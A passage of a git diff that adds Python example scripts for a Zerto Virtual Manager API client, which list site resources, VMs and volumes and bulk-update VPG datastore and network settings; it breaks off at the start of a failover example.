b/examples/update_existing_vpgs_example.py new file mode 100644 index 0000000..cfc38c4 --- /dev/null +++ b/examples/update_existing_vpgs_example.py @@ -0,0 +1,230 @@ +#!/usr/bin/python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto VPG Bulk Update Example Script + +This script demonstrates how to update multiple Virtual Protection Groups (VPGs) settings in bulk. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Lists peer sites and their resources: + - Available datastores + - Available networks +3. Retrieves current VPG settings for all VPGs +4. Prompts for new settings: + - Target datastore + - Failover network + - Test network +5. Updates all VPGs with the new settings after confirmation + +Required Arguments: + --zvm_address: Site 1 ZVM address + --client_id: Site 1 Keycloak client ID + --client_secret: Site 1 Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/update_existing_vpgs.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import argparse +import logging +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' +) +import urllib3 +import sys +import os +import json +from typing import Dict, List +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def print_site_resources(client, site_identifier: str, site_name: str): + """Print site resources in a visual way""" + print(f"\nSite: {site_name}") + print(f"Site ID: {site_identifier}") + + # Get and print datastores + print("\nDatastores:") + datastores = client.virtualization_sites.get_virtualization_site_datastores(site_identifier) + datastore_map = {} + for idx, ds in enumerate(datastores, 1): + datastore_map[idx] = ds['DatastoreIdentifier'] + name = ds.get('DatastoreName', 'N/A') + logical_name = ds.get('LogicalName', 'N/A') + print(f" {idx}. ID: {ds['DatastoreIdentifier']}") + print(f" Name: {name}") + print(f" Logical Name: {logical_name}") + + # Get and print networks + print("\nNetworks:") + networks = client.virtualization_sites.get_virtualization_site_networks(site_identifier) + network_map = {} + for idx, net in enumerate(networks, 1): + network_map[idx] = net['NetworkIdentifier'] + name = net.get('VirtualizationNetworkName', 'N/A') + print(f" {idx}. ID: {net['NetworkIdentifier']}") + print(f" Name: {name}") + + return datastore_map, network_map + +def get_vpg_settings(client, vpgs: List[Dict]): + """Get current VPG settings""" + vpg_settings = [] + for vpg in vpgs: + vpg_id = vpg['VpgIdentifier'] + vpg_name = vpg['VpgName'] + + # Create new settings based on existing VPG + settings_id = client.vpgs.create_vpg_settings( + basic=None, + journal=None, + recovery=None, + networks=None, + vpg_identifier=vpg_id + ) + + # Get the settings details + settings = client.vpgs.get_vpg_settings_by_id(vpg_settings_id=settings_id) + + vpg_settings.append({ + 'vpg_name': vpg_name, + 'vpg_id': vpg_id, + 'settings_id': settings_id, + 'current_settings': settings, + 'default_datastore': settings.get('Recovery', {}).get('DefaultDatastoreIdentifier'), + 'failover_network': settings.get('Networks', {}).get('Failover', {}).get('Hypervisor', {}).get('DefaultNetworkIdentifier'), + 'test_network': settings.get('Networks', {}).get('FailoverTest', {}).get('Hypervisor', {}).get('DefaultNetworkIdentifier') + }) + + print(f"\nVPG: {vpg_name}") + print(f" Current Datastore: {settings.get('Recovery', {}).get('DefaultDatastoreIdentifier')}") + print(f" Current Failover Network: {settings.get('Networks', {}).get('Failover', {}).get('Hypervisor', {}).get('DefaultNetworkIdentifier')}") + print(f" Current Test Network: {settings.get('Networks', {}).get('FailoverTest', {}).get('Hypervisor', {}).get('DefaultNetworkIdentifier')}") + + return vpg_settings + +def update_vpg_settings(client, vpg_settings: List[Dict], new_datastore: str, new_failover_network: str, new_test_network: str): + """Update all VPG settings with new values""" + for vpg in vpg_settings: + settings = vpg['current_settings'] + + # Update datastore + settings['Recovery']['DefaultDatastoreIdentifier'] = new_datastore + + # Update networks + if 'Networks' not in settings: + settings['Networks'] = {'Failover': {'Hypervisor': {}}, 'FailoverTest': {'Hypervisor': {}}} + + + settings['Networks']['Failover']['Hypervisor']['DefaultNetworkIdentifier'] = new_failover_network + settings['Networks']['FailoverTest']['Hypervisor']['DefaultNetworkIdentifier'] = new_test_network + + # Update the settings + client.vpgs.update_vpg_settings(vpg_settings_id=vpg['settings_id'], payload=settings) + + # Commit the changes + client.vpgs.commit_vpg(vpg['settings_id'], vpg['vpg_name'], sync=False) + + print(f"Updated and committed settings for VPG: {vpg['vpg_name']}") + +def main(): + parser = argparse.ArgumentParser(description="Update existing VPGs settings") + parser.add_argument("--zvm_address", required=True, help="Site 1 ZVM address") + parser.add_argument('--client_id', required=True, help='Site 1 Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Site 1 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + try: + # Setup client + client = setup_client(args) + + # Get peer sites + peer_sites = client.peersites.get_peer_sites() + logging.debug(f"Peer sites: {peer_sites}") + if not peer_sites: + raise ValueError("No peer sites found") + + # Get the first peer site + peer_site = peer_sites[0] + peer_site_id = peer_site['SiteIdentifier'] + peer_site_name = peer_site.get('PeerSiteName') + + # Print resources and get mapping for peer site + datastore_map, network_map = print_site_resources(client, peer_site_id, peer_site_name) + + # Get and print current VPG settings + vpgs = client.vpgs.list_vpgs() + vpg_settings = get_vpg_settings(client, vpgs) + logging.debug(f"VPG settings: {json.dumps(vpg_settings, indent=4)}") + + # Get user input + print("\nEnter sequential numbers for new settings:") + ds_num = int(input("Datastore number: ")) + fo_net_num = int(input("Failover network number: ")) + test_net_num = int(input("Failover test network number: ")) + + # Validate input + if not all(num in datastore_map for num in [ds_num]) or \ + not all(num in network_map for num in [fo_net_num, test_net_num]): + raise ValueError("Invalid sequential number entered") + + # Get actual IDs + new_datastore = datastore_map[ds_num] + new_failover_network = network_map[fo_net_num] + new_test_network = network_map[test_net_num] + + # Confirm with user + print(f"\nAbout to update all VPGs with:") + print(f"New datastore: {new_datastore}") + print(f"New failover network: {new_failover_network}") + print(f"New test network: {new_test_network}") + + if input("\nContinue? (y/n): ").lower() != 'y': + print("Operation cancelled") + return + + # Update all VPGs + update_vpg_settings(client, vpg_settings, new_datastore, new_failover_network, new_test_network) + + print("\nAll VPGs have been updated successfully") + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/virtualization_sites_example.py b/examples/virtualization_sites_example.py new file mode 100644 index 0000000..353d0fd --- /dev/null +++ b/examples/virtualization_sites_example.py @@ -0,0 +1,282 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Virtualization Sites Example Script + +This script demonstrates how to retrieve and manage virtualization site information from Zerto. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves information about virtualization sites: + - Basic site details + - Unprotected VMs and vApps + - Storage resources (datastores, clusters) + - Network configurations + - Host information + - Cloud resources (networks, subnets, security) +3. For each site, retrieves detailed information about: + - Organization VDCs + - Storage policies + - Network configurations + - Host devices and clusters + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/virtualization_sites_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Virtualization Sites Example") + parser.add_argument("--zvm_address", required=True, help="ZVM IP address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Initialize the client + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Example 1: Get all virtualization sites + logging.info("\nExample 1: Getting all virtualization sites") + sites = client.virtualization_sites.get_virtualization_sites() + logging.info("All sites:") + logging.info(json.dumps(sites, indent=2)) + + # Example 2: Get details for each site individually + for site in sites: + site_id = site['SiteIdentifier'] + site_name = site['VirtualizationSiteName'] + + logging.info(f"\nExample 2: Getting details for site {site_name} (ID: {site_id})") + site_details = client.virtualization_sites.get_virtualization_sites(site_identifier=site_id) + logging.info("Site Details:") + logging.info(json.dumps(site_details, indent=2)) + + # Example 3: Get unprotected VMs for each site + logging.info(f"\nExample 3: Getting unprotected VMs for site {site_name}") + vms = client.virtualization_sites.get_virtualization_site_vms(site_id) + logging.info(f"Found {len(vms)} unprotected VMs:") + logging.info(json.dumps(vms, indent=2)) + + # Example 4: Get unprotected VCD vApps for each site + logging.info(f"\nExample 4: Getting unprotected VCD vApps for site {site_name}") + vapps = client.virtualization_sites.get_virtualization_site_vcd_vapps(site_id) + logging.info(f"Found {len(vapps)} unprotected VCD vApps:") + logging.info(json.dumps(vapps, indent=2)) + + # Example 5: Get datastores for each site + logging.info(f"\nExample 5: Getting datastores for site {site_name}") + datastores = client.virtualization_sites.get_virtualization_site_datastores(site_id) + logging.info(f"Found {len(datastores)} datastores:") + logging.info(json.dumps(datastores, indent=2)) + + # Example 6: Get folders for each site + logging.info(f"\nExample 6: Getting folders for site {site_name}") + folders = client.virtualization_sites.get_virtualization_site_folders(site_id) + logging.info(f"Found {len(folders)} folders:") + logging.info(json.dumps(folders, indent=2)) + + # Example 7: Get datastore clusters for each site + logging.info(f"\nExample 7: Getting datastore clusters for site {site_name}") + datastore_clusters = client.virtualization_sites.get_virtualization_site_datastore_clusters(site_id) + logging.info(f"Found {len(datastore_clusters)} datastore clusters:") + logging.info(json.dumps(datastore_clusters, indent=2)) + + # Example 8: Get resource pools for each site + logging.info(f"\nExample 8: Getting resource pools for site {site_name}") + resource_pools = client.virtualization_sites.get_virtualization_site_resource_pools(site_id) + logging.info(f"Found {len(resource_pools)} resource pools:") + logging.info(json.dumps(resource_pools, indent=2)) + + # Example 9: Get organization VDCs for each site + logging.info(f"\nExample 9: Getting organization VDCs for site {site_name}") + org_vdcs = client.virtualization_sites.get_virtualization_site_org_vdcs(site_id) + logging.info(f"Found {len(org_vdcs)} organization VDCs:") + logging.info(json.dumps(org_vdcs, indent=2)) + + # Example 10: Get networks for each site + logging.info(f"\nExample 10: Getting networks for site {site_name}") + networks = client.virtualization_sites.get_virtualization_site_networks(site_id) + logging.info(f"Found {len(networks)} networks:") + logging.info(json.dumps(networks, indent=2)) + + # Example 11: Get hosts for each site + logging.info(f"\nExample 11: Getting hosts for site {site_name}") + hosts = client.virtualization_sites.get_virtualization_site_hosts(site_id) + logging.info(f"Found {len(hosts)} hosts:") + logging.info(json.dumps(hosts, indent=2)) + + # Example 12: Get host clusters for each site + logging.info(f"\nExample 12: Getting host clusters for site {site_name}") + host_clusters = client.virtualization_sites.get_virtualization_site_host_clusters(site_id) + logging.info(f"Found {len(host_clusters)} host clusters:") + logging.info(json.dumps(host_clusters, indent=2)) + + # Example 13: Get repositories for each site + logging.info(f"\nExample 13: Getting repositories for site {site_name}") + repositories = client.virtualization_sites.get_virtualization_site_repositories(site_id) + logging.info(f"Found {len(repositories)} repositories:") + logging.info(json.dumps(repositories, indent=2)) + + # Example 14: Get networks for each org VDC + logging.info(f"\nExample 14: Getting org VDC networks for site {site_name}") + org_vdcs = client.virtualization_sites.get_virtualization_site_org_vdcs(site_id) + for org_vdc in org_vdcs: + org_vdc_id = org_vdc['OrgVdcIdentifier'] + org_vdc_name = org_vdc['VcdVdcName'] + logging.info(f"\nFetching networks for org VDC: {org_vdc_name}") + networks = client.virtualization_sites.get_virtualization_site_org_vdc_networks(site_id, org_vdc_id) + logging.info(f"Found {len(networks)} networks in org VDC {org_vdc_name}:") + logging.info(json.dumps(networks, indent=2)) + + # Example 15: Get storage policies for each org VDC + logging.info(f"\nExample 15: Getting storage policies for org VDC: {org_vdc_name}") + storage_policies = client.virtualization_sites.get_virtualization_site_org_vdc_storage_policies(site_id, org_vdc_id) + logging.info(f"Found {len(storage_policies)} storage policies in org VDC {org_vdc_name}:") + logging.info(json.dumps(storage_policies, indent=2)) + + # Example 16: Get devices for each site + logging.info(f"\nExample 16a: Getting all devices for site {site_name}") + devices = client.virtualization_sites.get_virtualization_site_devices(site_id) + logging.info(f"Found {len(devices)} devices:") + logging.info(json.dumps(devices, indent=2)) + + # If we have hosts, get devices for the first host + if hosts: + host_id = hosts[0]['HostIdentifier'] + logging.info(f"\nExample 16b: Getting devices for host {host_id} in site {site_name}") + host_devices = client.virtualization_sites.get_virtualization_site_devices( + site_id, + host_identifier=host_id + ) + logging.info(f"Found {len(host_devices)} devices for host {host_id}:") + logging.info(json.dumps(host_devices, indent=2)) + + # If we found any devices, try filtering by the first device name + if host_devices: + device_name = host_devices[0]['DeviceName'] + logging.info(f"\nExample 16c: Getting devices with name {device_name} in site {site_name}") + filtered_devices = client.virtualization_sites.get_virtualization_site_devices( + site_id, + device_name=device_name + ) + logging.info(f"Found {len(filtered_devices)} devices with name {device_name}:") + logging.info(json.dumps(filtered_devices, indent=2)) + + # Example 17: Get public cloud virtual networks for each site + logging.info(f"\nExample 17: Getting public cloud virtual networks for site {site_name}") + cloud_networks = client.virtualization_sites.get_virtualization_site_public_cloud_networks(site_id) + logging.info(f"Found {len(cloud_networks)} public cloud virtual networks:") + logging.info(json.dumps(cloud_networks, indent=2)) + + # Example 18: Get public cloud subnets for each site + logging.info(f"\nExample 18: Getting public cloud subnets for site {site_name}") + cloud_subnets = client.virtualization_sites.get_virtualization_site_public_cloud_subnets(site_id) + logging.info(f"Found {len(cloud_subnets)} public cloud subnets:") + logging.info(json.dumps(cloud_subnets, indent=2)) + + # Example 19: Get public cloud security groups for each site + logging.info(f"\nExample 19: Getting public cloud security groups for site {site_name}") + security_groups = client.virtualization_sites.get_virtualization_site_public_cloud_security_groups(site_id) + logging.info(f"Found {len(security_groups)} public cloud security groups:") + logging.info(json.dumps(security_groups, indent=2)) + + # Example 20: Get public cloud VM instance types for each site + logging.info(f"\nExample 20: Getting public cloud VM instance types for site {site_name}") + instance_types = client.virtualization_sites.get_virtualization_site_public_cloud_vm_instance_types(site_id) + logging.info(f"Found {len(instance_types)} public cloud VM instance types:") + logging.info(json.dumps(instance_types, indent=2)) + + # Example 21: Get public cloud resource groups for each site + # currently this API returns a 500 error + # logging.info(f"\nExample 21: Getting public cloud resource groups for site {site_name}") + # resource_groups = client.virtualization_sites.get_virtualization_site_public_cloud_resource_groups(site_id) + # logging.info(f"Found {len(resource_groups)} public cloud resource groups:") + # logging.info(json.dumps(resource_groups, indent=2)) + + # Example 22: Get public cloud keys containers for each site + # currently this API returns a 500 error + # logging.info(f"\nExample 22: Getting public cloud keys containers for site {site_name}") + # keys_containers = client.virtualization_sites.get_virtualization_site_public_cloud_keys_containers(site_id) + # logging.info(f"Found {len(keys_containers)} public cloud keys containers:") + # logging.info(json.dumps(keys_containers, indent=2)) + + # Example 23: Get all encryption keys + # currently this API returns a 500 error if does not exist + # logging.info(f"\nExample 23a: Getting all encryption keys for site {site_name}") + # encryption_keys = client.virtualization_sites.get_virtualization_site_public_cloud_encryption_keys(site_id) + # logging.info(f"Found {len(encryption_keys)} encryption keys:") + # logging.info(json.dumps(encryption_keys, indent=2)) + + # Example 23b: Get details of specific encryption keys if any exist + # if encryption_keys: + # key_id = encryption_keys[0]['Id'] + # logging.info(f"\nExample 23b: Getting details for encryption key {key_id}") + # key_details = client.virtualization_sites.get_virtualization_site_public_cloud_encryption_keys(site_id, key_id) + # logging.info("Encryption key details:") + # logging.info(json.dumps(key_details, indent=2)) + + # Example 24: Get public cloud managed identities for each site + # currently this API returns a 500 error if does not exist + # logging.info(f"\nExample 24: Getting public cloud managed identities for site {site_name}") + # managed_identities = client.virtualization_sites.get_virtualization_site_public_cloud_managed_identities(site_id) + # logging.info(f"Found {len(managed_identities)} managed identities:") + # logging.info(json.dumps(managed_identities, indent=2)) + + # Example 25: Get public cloud disk encryption keys for each site + # currently this API returns a 500 error if does not exist + # logging.info(f"\nExample 25: Getting public cloud disk encryption keys for site {site_name}") + # disk_encryption_keys = client.virtualization_sites.get_virtualization_site_public_cloud_disk_encryption_keys(site_id) + # logging.info(f"Found {len(disk_encryption_keys)} disk encryption keys:") + # logging.info(json.dumps(disk_encryption_keys, indent=2)) + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vms_example.py b/examples/vms_example.py new file mode 100644 index 0000000..055c743 --- /dev/null +++ b/examples/vms_example.py @@ -0,0 +1,243 @@ +#!/usr/bin/python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Virtual Machines Example Script + +This script demonstrates how to manage and retrieve information about protected virtual machines in Zerto. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Gets site information and resources: + - Local and peer site details + - Available datastores + - Network configurations +3. Demonstrates VM operations: + - Lists all protected VMs + - Gets detailed information for specific VMs + - Filters VMs by VPG name + - Manages VM restore points: + * Lists available checkpoints + * Gets points in time + * Retrieves recovery statistics +4. Shows VM restore capabilities: + - Configures restore settings + - Handles network and storage mappings + - Manages restore operations + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/vms_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl + +Note: VM restore functionality is commented out in this example as it may return a 500 error. +""" + +# NOTE +# this example assumes that at least one VPG exists on the ZVM and protected VMs exist in the VPG +# the vm restore is commnted out as it fails with a 500 + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def main(): + parser = argparse.ArgumentParser(description="Zerto Virtual Machines Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get both sites information + sites = client.virtualization_sites.get_virtualization_sites() + logging.info(f"Found {len(sites)} sites:") + for site in sites: + logging.info(f"Site: {site['VirtualizationSiteName']} (ID: {site['SiteIdentifier']})") + + # Get the peer (second) site identifier + local_site = client.localsite.get_local_site() + peer_site = next(site for site in sites + if site['SiteIdentifier'] != local_site['SiteIdentifier']) + peer_site_id = peer_site['SiteIdentifier'] + logging.info(f"Peer site identifier: {peer_site_id}") + + # Get datastores from peer site + datastores = client.virtualization_sites.get_virtualization_site_datastores(peer_site_id) + if not datastores: + raise ValueError("No datastores found in peer site") + # logging.info(json.dumps(datastores, indent=2)) + datastore_id = datastores[0]['DatastoreIdentifier'] # Use first datastore + logging.info(f"Selected datastore ID from peer site: {datastore_id}") + + # Get networks from peer site + networks = client.virtualization_sites.get_virtualization_site_networks(peer_site_id) + if not networks: + raise ValueError("No networks found in peer site") + network_id = networks[0]['NetworkIdentifier'] # Use first network + logging.info(f"Selected network ID from peer site: {network_id}") + + # Example 1: Get all protected VMs + logging.info("\nExample 1: Getting all protected VMs") + vms = client.vms.list_vms() + # logging.info(f'vms: {json.dumps(vms, indent=2)}') + if len(vms) == 0: + raise ValueError("No protected VMs found") + + # Example 2: If we found any VMs, get details for the first one + first_vm = vms[0] + vm_id = first_vm['VmIdentifier'] + vpg_id = first_vm.get('VpgIdentifier') # VpgIdentifier might be optional + + logging.info(f"\nExample 2: Getting details for VM {vm_id}") + vm_details = client.vms.list_vms( + vm_identifier=vm_id, + vpg_identifier=vpg_id + ) + # logging.info("VM details:") + # logging.info(json.dumps(vm_details, indent=2)) + + # Example 3: Get VMs filtered by VPG name + vpg_name = first_vm.get('VpgName') + if vpg_name: + logging.info(f"\nExample 3: Getting VMs filtered by VPG name: {vpg_name}") + filtered_vms = client.vms.list_vms(vpg_name=vpg_name) + # logging.info(f"Found {len(filtered_vms)} VMs in VPG {vpg_name}:") + # logging.info(json.dumps(filtered_vms, indent=2)) + + # Example 4: Restore the VM if it has checkpoints + logging.info("\nExample 4: Restoring VM from checkpoint") + + vpg_info = client.vpgs.list_vpgs(vpg_identifier=vpg_id) + vpg_name = vpg_info['VpgName'] + + checkpoints = client.vpgs.list_checkpoints(vpg_name=vpg_name) + # logging.info(f"checkpoints: {json.dumps(checkpoints, indent=2)}") + if not checkpoints: + logging.warning("No checkpoints found for VPG") + raise ValueError("No checkpoints found for VPG") + + checkpoint_id = checkpoints[0]['CheckpointIdentifier'] + + # Prepare restore settings using IDs from peer site + restore_settings = { + "datastoreIdentifier": datastore_id, + "nics": [ + { + "hypervisor": { + "dnsSuffix": "", + "ipConfig": { + "gateway": "", + "isDhcp": True, + "primaryDns": "", + "secondaryDns": "", + "staticIp": "", + "subnetMask": "" + }, + "networkIdentifier": network_id, + "shouldReplaceMacAddress": True + }, + "nicIdentifier": first_vm['Nics'][0]['NicIdentifier'] + } + ], + "volumes": [ + { + "datastore": { + "datastoreIdentifier": datastore_id, + "isThin": True + }, + "volumeIdentifier": volume['VmVolumeIdentifier'] + } for volume in first_vm['Volumes'] + ] + } + + # Initiate VM restore + # temporary commented out as it fails with a 500 + # logging.info(f"Restoring VM {first_vm['VmName']} from checkpoint {checkpoint_id}") + # restore_result = client.vms.restore_vm( + # vm_identifier=vm_id, + # vpg_identifier=vpg_id, + # restored_vm_name=f"{first_vm['VmName']}_restored", + # checkpoint_identifier=checkpoint_id, + # journal_vm_restore_settings=restore_settings + # ) + # logging.info(f"Restore initiated: {json.dumps(restore_result, indent=2)}") + + # Example 7: Get points in time for a VM + logging.info("\nExample 7: Getting points in time for VM") + try: + # You can optionally specify start_date and end_date in ISO format + # e.g., "2024-01-01T00:00:00.000Z" + points_in_time = client.vms.list_vm_points_in_time( + vm_identifier=vm_id, + vpg_identifier=vpg_id + ) + logging.info(f"Found {len(points_in_time)} points in time:") + logging.info(json.dumps(points_in_time, indent=2)) + except Exception as e: + logging.error(f"Failed to get VM points in time: {e}") + + # Example 8: Get points in time stats for a VM + logging.info("\nExample 8: Getting points in time stats for VM") + try: + points_in_time_stats = client.vms.list_vm_points_in_time_stats( + vm_identifier=vm_id, + vpg_identifier=vpg_id # Optional, but may be required if VM is in multiple VPGs + ) + logging.info("Points in time stats:") + logging.info(json.dumps(points_in_time_stats, indent=2)) + except Exception as e: + logging.error(f"Failed to get VM points in time stats: {e}") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/volumes_example.py b/examples/volumes_example.py new file mode 100644 index 0000000..a1fa7fe --- /dev/null +++ b/examples/volumes_example.py @@ -0,0 +1,138 @@ +#!/usr/bin/python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Volumes Example Script + +This script demonstrates how to retrieve volume information from Zerto Virtual Manager (ZVM). +It shows how to list and filter volumes based on different criteria, making it useful for +volume management and monitoring. + +Key Features: +1. List all volumes in the system +2. Filter volumes by: + - VPG association + - Datastore location + - Protected VM attachment +3. Display volume details: + - Volume identifiers + - Storage information + - Protection status + - Resource associations + +Required Arguments: + --zvm_address: Site 1 ZVM address + client_id: Site 1 Keycloak client ID + client_secret: Site 1 Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/volumes_example.py \ + --zvm_address "192.168.1.100" \ + client_id "zerto-api" \ + client_secret "your-secret-here" \ + --ignore_ssl + +Note: This script focuses on volume operations and requires only Site 1 credentials +since it performs read-only operations on the protected site. +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import urllib3 +import argparse +import logging +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Volumes Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') + + try: + # Initialize the client + client = ZVMLClient(args.zvm_address, args.client_id, args.client_secret, not args.ignore_ssl) + + # Example 1: List all volumes + logging.info("\nExample 1: Listing all volumes") + try: + volumes = client.volumes.list_volumes() + logging.info(f"Found {len(volumes)} volumes:") + logging.info(json.dumps(volumes, indent=2)) + except Exception as e: + logging.error(f"Failed to list volumes: {e}") + + # Example 2: List volumes for a specific VPG + logging.info("\nExample 2: Listing volumes for a specific VPG") + try: + # First get a VPG ID + vpgs = client.vpgs.list_vpgs() + # logging.info(f"vpgs: {json.dumps(vpgs, indent=2)}") + if vpgs: + vpg_id = vpgs[0]['VpgIdentifier'] + logging.info(f"vpg_id: {vpg_id}") + volumes = client.volumes.list_volumes(vpg_identifier=vpg_id) + logging.info(f"Found {len(volumes)} volumes for VPG {vpg_id}:") + logging.info(json.dumps(volumes, indent=2)) + except Exception as e: + logging.error(f"Failed to list volumes for VPG: {e}") + + # Example 3: List volumes for a specific datastore + logging.info("\nExample 3: Listing volumes for a specific datastore") + try: + local_site1_identifier = client.localsite.get_local_site().get('SiteIdentifier') + logging.info(f"local_site1_identifier: {local_site1_identifier}") + # First get a datastore ID + datastores = client.virtualization_sites.get_virtualization_site_datastores( + site_identifier=local_site1_identifier + ) + + for datastore in datastores: + datastore_id = datastore['DatastoreIdentifier'] + volumes = client.volumes.list_volumes(datastore_identifier=datastore_id) + logging.info(f"Found {len(volumes)} volumes for datastore {datastore_id}:") + logging.info(json.dumps(volumes, indent=2)) + except Exception as e: + logging.error(f"Failed to list volumes for datastore: {e}") + + # Example 4: List volumes for a specific protected VM + logging.info("\nExample 4: Listing volumes for a specific protected VM") + try: + # First get a VM ID + vms = client.vms.list_vms() + if vms: + vm_id = vms[0]['VmIdentifier'] + volumes = client.volumes.list_volumes(protected_vm_identifier=vm_id) + logging.info(f"Found {len(volumes)} volumes for protected VM {vm_id}:") + logging.info(json.dumps(volumes, indent=2)) + except Exception as e: + logging.error(f"Failed to list volumes for protected VM: {e}") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vpg_failover_example.py b/examples/vpg_failover_example.py new file mode 100644 index 0000000..3b37e96 --- /dev/null +++ b/examples/vpg_failover_example.py @@ -0,0 +1,422 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, 